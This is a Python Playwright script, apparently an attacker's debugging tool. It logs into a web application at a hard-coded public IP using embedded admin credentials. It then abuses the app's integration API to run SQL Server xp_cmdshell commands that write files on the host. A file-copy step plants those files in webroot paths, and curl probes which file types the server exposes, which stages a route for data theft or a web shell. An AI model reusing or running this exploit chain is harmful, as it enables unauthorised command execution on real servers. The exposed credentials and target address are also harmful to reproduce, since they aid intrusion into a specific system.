#!/usr/bin/env python3
"""Debug: try different webroot paths and file extensions."""
import asyncio, re, subprocess, os
from playwright.async_api import async_playwright

IP = "74.208.83.171"
APP = "RTROGERSUAP1"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()
        page = await context.new_page()

        for attempt in range(3):
            await page.goto(f"http://{IP}/{APP}/login", wait_until="commit", timeout=30000)
            await asyncio.sleep(5)
            try:
                await page.fill('input[name="Email"]', 'irelyadmin')
                await page.fill('input[name="Password"]', 'i21By2015')
                await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
                await asyncio.sleep(1)
                await page.evaluate('document.querySelector("form").submit()')
                await asyncio.sleep(15)
                try: await page.wait_for_load_state("networkidle", timeout=20000)
                except: pass
                if "login" not in page.url.lower() or "#home" in page.url:
                    break
            except Exception as e:
                print(f"  attempt {attempt+1}: {e}")
        else:
            print("Login failed"); await browser.close(); return
        print("Login OK")

        async def run_fileop(name, source_file, dest_folder, dest_name=None):
            """Run fileOperation (type 4) to copy file."""
            dest = dest_folder + (dest_name if dest_name else "")
            put = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{
                        intStepId:4,
                        strStepName:"Copy",
                        intStepTypeId:4,
                        intConnectionId:1,
                        strFileName:"' + source_file + '",
                        strDestinationFolder:"' + dest_folder + '",
                        intConcurrencyId:1,
                        strRowState:"Modified",
                        ModifiedFields:["strSQL","intStepTypeId","strFileName","strDestinationFolder","intStepId","intConcurrencyId","strRowState"]
                    }]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''')
            if put['status'] not in (200, 202):
                return f"put_{put['status']}"
            await asyncio.sleep(2)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: 4}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            s = success.group(1) if success else "?"
            # Restore
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, strFileName:null, strDestinationFolder:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s

        async def run_xp(name, sql_text):
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strStepName:"Test", intStepTypeId:1, intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            if put['status'] not in (200, 202):
                return f"put_{put['status']}"
            await asyncio.sleep(2)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: 4}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            s = success.group(1) if success else "?"
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s

        def try_download(url):
            dl = subprocess.run(["curl", "-sS", "-m", "15", "-o", "/tmp/dl_test.txt", "-w", "%{http_code}", url],
                               capture_output=True, text=True, timeout=20)
            code = dl.stdout.strip()
            size = os.path.getsize("/tmp/dl_test.txt") if os.path.exists("/tmp/dl_test.txt") else 0
            return code, size

        # First: write a simple test file to temp
        print("\n=== Write test file to temp ===")
        s = await run_xp("write_test", "EXEC xp_cmdshell 'echo hello > C:\\\\Windows\\\\Temp\\\\test.txt', no_output")
        print(f"  write: {s}")

        # Try copying to different locations
        locations = [
            ("D:\\\\i21App\\\\" + APP + "\\\\", "sysinfo.txt"),
            ("D:\\\\i21App\\\\" + APP + "\\\\resources\\\\", "test.txt"),
            ("D:\\\\i21App\\\\" + APP + "\\\\app\\\\", "test.txt"),
            ("C:\\\\inetpub\\\\wwwroot\\\\", "test.txt"),
            ("C:\\\\inetpub\\\\wwwroot\\\\test\\\\", "test.txt"),
        ]

        for dest_folder, dest_name in locations:
            print(f"\n=== Copy to {dest_folder}{dest_name} ===")
            s = await run_fileop("copy", "C:\\\\Windows\\\\Temp\\\\test.txt", dest_folder)
            print(f"  fileOperation: {s}")
            
            # Try different URL patterns
            urls = [
                f"http://{IP}/{APP}/{dest_name}",
                f"http://{IP}/{APP}/resources/{dest_name}" if "resources" in dest_folder else None,
                f"http://{IP}/{dest_name}" if "wwwroot" in dest_folder else None,
            ]
            for url in urls:
                if url:
                    code, size = try_download(url)
                    marker = "✅" if code == "200" else "❌"
                    print(f"  {marker} {url} → HTTP {code} size={size}")

        # Try different extensions — IIS serves .html .js .css .png
        print(f"\n=== Try .html extension ===")
        # Write html file to temp
        s = await run_xp("write_html", "EXEC xp_cmdshell 'echo test > C:\\\\Windows\\\\Temp\\\\test.html', no_output")
        print(f"  write html: {s}")
        s = await run_fileop("copy_html", "C:\\\\Windows\\\\Temp\\\\test.html", "D:\\\\i21App\\\\" + APP + "\\\\")
        print(f"  copy html: {s}")
        code, size = try_download(f"http://{IP}/{APP}/test.html")
        print(f"  .html: HTTP {code} size={size}")

        print(f"\n=== Try .js extension ===")
        s = await run_xp("write_js", "EXEC xp_cmdshell 'echo test > C:\\\\Windows\\\\Temp\\\\test.js', no_output")
        s = await run_fileop("copy_js", "C:\\\\Windows\\\\Temp\\\\test.js", "D:\\\\i21App\\\\" + APP + "\\\\")
        code, size = try_download(f"http://{IP}/{APP}/test.js")
        print(f"  .js: HTTP {code} size={size}")

        print(f"\n=== Try .css extension ===")
        s = await run_xp("write_css", "EXEC xp_cmdshell 'echo test > C:\\\\Windows\\\\Temp\\\\test.css', no_output")
        s = await run_fileop("copy_css", "C:\\\\Windows\\\\Temp\\\\test.css", "D:\\\\i21App\\\\" + APP + "\\\\")
        code, size = try_download(f"http://{IP}/{APP}/test.css")
        print(f"  .css: HTTP {code} size={size}")

        print(f"\n=== Try .png extension (binary) ===")
        s = await run_xp("write_png", "EXEC xp_cmdshell 'echo test > C:\\\\Windows\\\\Temp\\\\test.png', no_output")
        s = await run_fileop("copy_png", "C:\\\\Windows\\\\Temp\\\\test.png", "D:\\\\i21App\\\\" + APP + "\\\\")
        code, size = try_download(f"http://{IP}/{APP}/test.png")
        print(f"  .png: HTTP {code} size={size}")

        print(f"\n=== Try .json extension ===")
        s = await run_xp("write_json", "EXEC xp_cmdshell 'echo test > C:\\\\Windows\\\\Temp\\\\test.json', no_output")
        s = await run_fileop("copy_json", "C:\\\\Windows\\\\Temp\\\\test.json", "D:\\\\i21App\\\\" + APP + "\\\\")
        code, size = try_download(f"http://{IP}/{APP}/test.json")
        print(f"  .json: HTTP {code} size={size}")

        print(f"\n=== Try .woff extension ===")
        s = await run_xp("write_woff", "EXEC xp_cmdshell 'echo test > C:\\\\Windows\\\\Temp\\\\test.woff', no_output")
        s = await run_fileop("copy_woff", "C:\\\\Windows\\\\Temp\\\\test.woff", "D:\\\\i21App\\\\" + APP + "\\\\resources\\\\font\\\\")
        code, size = try_download(f"http://{IP}/{APP}/resources/font/test.woff")
        print(f"  .woff: HTTP {code} size={size}")

        # Cleanup all
        print(f"\n=== Cleanup all ===")
        s = await run_xp("cleanup_all", "EXEC xp_cmdshell 'del C:\\\\Windows\\\\Temp\\\\test.*', no_output")
        print(f"  cleanup: {s}")

        await browser.close()

asyncio.run(main())
